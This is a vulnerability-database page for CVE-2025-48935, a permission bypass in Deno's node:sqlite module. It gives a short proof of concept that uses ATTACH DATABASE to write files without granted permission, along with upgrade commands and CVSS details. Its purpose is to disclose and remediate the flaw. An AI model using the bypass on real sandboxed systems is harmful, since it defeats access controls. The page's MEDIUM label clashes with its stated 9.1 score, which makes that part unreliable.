CVE-2025-48935 — Vulnerability in deno_node — CVE Details

MEDIUM

Deno has --allow-read / --allow-write permission bypass in `node:sqlite`

Published June 4, 2025Updated February 3, 2026Source: osv

Summary

## Summary It is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement. ## PoC ```js // poc.js import { DatabaseSync } from "node:sqlite" const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;"); db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ``` ``` $ deno poc.js ```

Advisory Timeline

First published June 4, 2025 (495 days ago).
Last revised February 3, 2026 — 243 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Cargo

Update deno_node to 0.134.0 or later

cargo update -p deno_node --precise 0.134.0

Cargo

Update deno to 2.2.5 or later

cargo update -p deno --precise 2.2.5

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Affects 1 ecosystem: crates.io (2).

Package	Ecosystem	Affected	Fixed In
deno_node	crates.io	All versions	0.134.0
deno	crates.io	All versions	2.2.5

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CWE-863
Incorrect AuthorizationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

Frequently Asked Questions

What is CVE-2025-48935?: Deno has --allow-read / --allow-write permission bypass in `node:sqlite` This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2025-48935?: CVE-2025-48935 affects deno_node and deno. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-48935 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score

9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-8vxj-4cph-c596

RUSTSEC-2025-0138

Related CVEs

CVE-2022-24783
CRITICAL
Sandbox bypass leading to arbitrary code execution in Deno
CVE-2023-28445
CRITICAL
Deno improperly handles resizable ArrayBuffer
CVE-2025-24015
HIGH
Deno's AES GCM authentication tags are not verified
CVE-2021-41641
HIGH
Link Following in Deno
CVE-2024-27933
HIGH
Deno arbitrary file descriptor close via `op_node_ipc_pipe()` leading to permission prompt bypass
CVE-2026-49402
HIGH
Deno: Command Injection via spawnSync & spawn on Windows
CVE-2026-49401
HIGH
Deno: Permission Bypass via Unicode Normalization Mismatch on macOS (APFS)
CVE-2026-49440
HIGH
Deno: Miller-Rabin Primality Test Allows Zero Rounds

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies